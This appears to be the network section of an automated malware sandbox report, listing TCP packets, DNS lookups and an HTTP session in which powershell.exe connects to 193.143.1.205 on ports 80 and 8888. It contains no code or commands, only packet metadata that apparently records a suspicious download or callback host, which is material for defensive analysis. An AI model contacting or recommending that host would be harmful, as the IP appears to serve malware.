Jan 11, 2025 07:07:24.649090052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.649121046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.649156094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.649164915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.649190903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.649224043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.649229050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.649257898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.649291039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.649295092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.649323940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.649358988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.649362087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.649393082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.649425983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.649427891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.649460077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.649496078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.649498940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.649529934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.649563074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.649565935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.649595976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.649630070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.649637938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.649662971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.649713039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.649718046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.649746895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.649780035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.649789095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.649815083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.649847031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.649851084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.649882078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.649914980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.649919033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.649949074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.649982929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.649986982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.650017023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.650049925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.650053024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.650084972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.650122881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.677115917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.677303076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.677325964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.677345037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.677361965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.677376986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.677393913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.677413940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.677458048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.677501917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.677515030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.677530050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.677546024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.677555084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.677560091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.677576065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.677581072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.677592039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.677607059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.677628040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.677648067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.705193996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.706885099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.706922054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.706939936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.706955910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.706963062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.706975937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.706996918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.707000971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.707015991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.707031012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.707041025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.707047939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.707062960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.707071066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.707079887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.707098007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.707103968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.707133055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.707144976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.707160950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.707175970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.707184076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.707201004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.707216024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.707220078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.707231045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.707240105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.707256079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.707266092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.707308054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.709109068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.712625980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.734769106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.734821081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.734847069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.734863043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.734878063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.734894037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.734910011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.734911919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.734925985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.734941959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.734951019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.734951973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.734966993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.734970093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.734982967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.734997988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735007048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.735013962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735028982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735033035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.735069990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.735100985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735116005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735131025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735146046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735148907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.735169888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735183954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.735186100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735200882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735215902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735219955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.735230923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735244989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735250950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.735260963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735275984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735277891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.735306978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.735359907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735374928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735388994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735404968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735404968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.735440016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.735475063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735490084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735505104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735519886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735522032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.735537052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735552073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.735605955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735629082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735642910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.735642910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735672951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.735678911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735693932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735709906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735726118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.735727072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735742092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735755920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735761881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.735771894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735788107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.735826015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735841990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735857964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735862017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.735886097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.735896111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735913992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735929012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735944986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735950947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.735960960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735975981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.735977888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.736007929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.736057997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.736073017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.736088037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.736105919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.736114025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.736128092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.736145020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.736149073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.736165047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.736181974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.736304998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.736320972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.736335993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.736337900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.736351013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.736365080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.736366987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.736381054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.736394882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.736402035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.736411095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.736426115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.736428022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.736452103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.736530066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.736545086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.736558914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.736573935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.736578941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.736589909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.736605883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.736608028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.736623049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.736637115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.736643076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.736653090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.736666918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.736666918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.736682892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.736711979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.738720894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.764132977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.764158964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.764184952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.764202118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.764218092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.764234066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.764249086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.764266014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.764302015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.764331102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.779458046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.789150000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.789201021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.789216995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.789233923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.789252043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.789261103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.789273977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.789277077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.789294004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.789309025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.789315939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.789325953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.789341927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.789350986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.789359093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.789397955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.789413929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.789429903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.789433956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.789446115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.789462090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.789472103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.789486885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.789503098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.789505959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.789520025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.789535999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.789566040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.789582014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.789601088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.789602995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.789617062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.789632082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.789633036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.789670944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.820171118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.820198059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.820214987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.820240974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.820257902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.820272923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.820288897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.820312977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.820328951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.820333004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.820346117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.820363045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.820378065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.820379019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.820394039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.820403099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.820425987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:25.213228941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:25.791155100 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:25.796523094 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:25.796612024 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:25.796821117 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:25.801698923 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:26.585920095 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:26.635855913 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:27.045850992 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:07:38.713522911 CET	52472	53	192.168.2.5	1.1.1.1
Jan 11, 2025 07:07:52.339631081 CET	60268	53	192.168.2.5	1.1.1.1
Jan 11, 2025 07:08:04.760596037 CET	57565	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 07:07:38.713522911 CET	192.168.2.5	1.1.1.1	0xcc3f	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:07:52.339631081 CET	192.168.2.5	1.1.1.1	0xf2fe	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:08:04.760596037 CET	192.168.2.5	1.1.1.1	0x5bde	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 07:07:36.717905998 CET	1.1.1.1	192.168.2.5	0xc1d0	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 07:07:36.717905998 CET	1.1.1.1	192.168.2.5	0xc1d0	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.37	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:07:36.717905998 CET	1.1.1.1	192.168.2.5	0xc1d0	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.24	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:07:36.717905998 CET	1.1.1.1	192.168.2.5	0xc1d0	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.38	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:07:36.717905998 CET	1.1.1.1	192.168.2.5	0xc1d0	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.23	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:07:36.717905998 CET	1.1.1.1	192.168.2.5	0xc1d0	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.21	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:07:36.717905998 CET	1.1.1.1	192.168.2.5	0xc1d0	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.38	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:07:36.717905998 CET	1.1.1.1	192.168.2.5	0xc1d0	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.22	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:07:36.717905998 CET	1.1.1.1	192.168.2.5	0xc1d0	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.40	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:07:38.720685959 CET	1.1.1.1	192.168.2.5	0xcc3f	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 07:07:52.346824884 CET	1.1.1.1	192.168.2.5	0xf2fe	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 07:08:04.768122911 CET	1.1.1.1	192.168.2.5	0x5bde	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	5768	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

